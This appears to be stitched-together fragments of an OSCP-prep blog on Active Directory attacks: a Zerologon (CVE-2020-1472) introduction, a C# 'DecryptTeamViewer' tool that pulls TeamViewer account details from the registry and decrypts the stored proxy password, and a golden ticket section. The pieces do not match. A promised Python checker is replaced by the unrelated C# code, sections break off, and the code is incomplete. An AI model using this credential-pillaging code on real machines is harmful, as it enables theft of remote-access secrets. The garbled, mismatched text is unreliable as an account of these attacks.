So far so good, in this post i'm going to explain how to perform the zerologon attack over Active directory on my local company environment COOPERATIVE.DOMAIN.local
This vulnerability was detected on the las year 2020, and allow to a remote and unauthenticated attacker obtain all hashes on Windows server Active Directory target machine:
CVE-2020-1472
The first step is detected if the target system is vulnerable to this exploit, for this task is possible use the follow script develop on python:
This vulnerability as you can see on the following documentation, could be exploited becaus the function: ComputeNetlogonCredential don't take a random value of IV initialitation vector during encryption symetric AES operation,
using System; using System.Text; using Microsoft.Win32; using System.Security.Cryptography;
namespace DecryptTeamViewer { class Program { static void Main(string[] args) { Console.WriteLine("\r\n\r\n=== DecryptTeamViewer: Pillaging registry for TeamViewer information ===\r\n");
// TeamViewer version Console.WriteLine("\r\n=== TeamViewer version ===\r\n"); Console.WriteLine(GetRegValue("TeamViewerSettings", "Version"));
// User info Console.WriteLine("\r\n=== User Information ===\r\n"); Console.WriteLine("Account name: " + GetRegValue("TeamViewerSettings", "OwningManagerAccountName")); Console.WriteLine("User email: " + GetRegValue("TeamViewerUserSettings", "BuddyLoginName"));
// Proxy info Console.WriteLine("\r\n=== Proxy Information ===\r\n"); Console.WriteLine("Proxy IP: " + GetRegValue("TeamViewerSettings", "Proxy_IP")); Console.WriteLine("Proxy username: " + GetRegValue("TeamViewerSettings", "ProxyUsername")); var proxyPass = (byte[])GetRegValue("TeamViewerSettings", "ProxyPasswordAES"); Console.WriteLine("Proxy password: " + DecryptAES(proxyPass));
So far so good !, On this post entry i'm going to introduce yourself to exploit Active Directory directly to Domain Controller obtainng a golde tocket, This kind of attck exploit directly to KDC (Kerberos Domain Controller), to obtain a ticket that provide to us a full persistence with administative privileges during ten years.
It's completely needed be performed this attack with administrator privileges on the Windows Active Directory.
Access with f0ns1 user as nt Authority\system without credentials:
And this is all, for last Active directory attack, I hope that you enjoy with my nineth windows entry and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/]. We'll keep in touch.
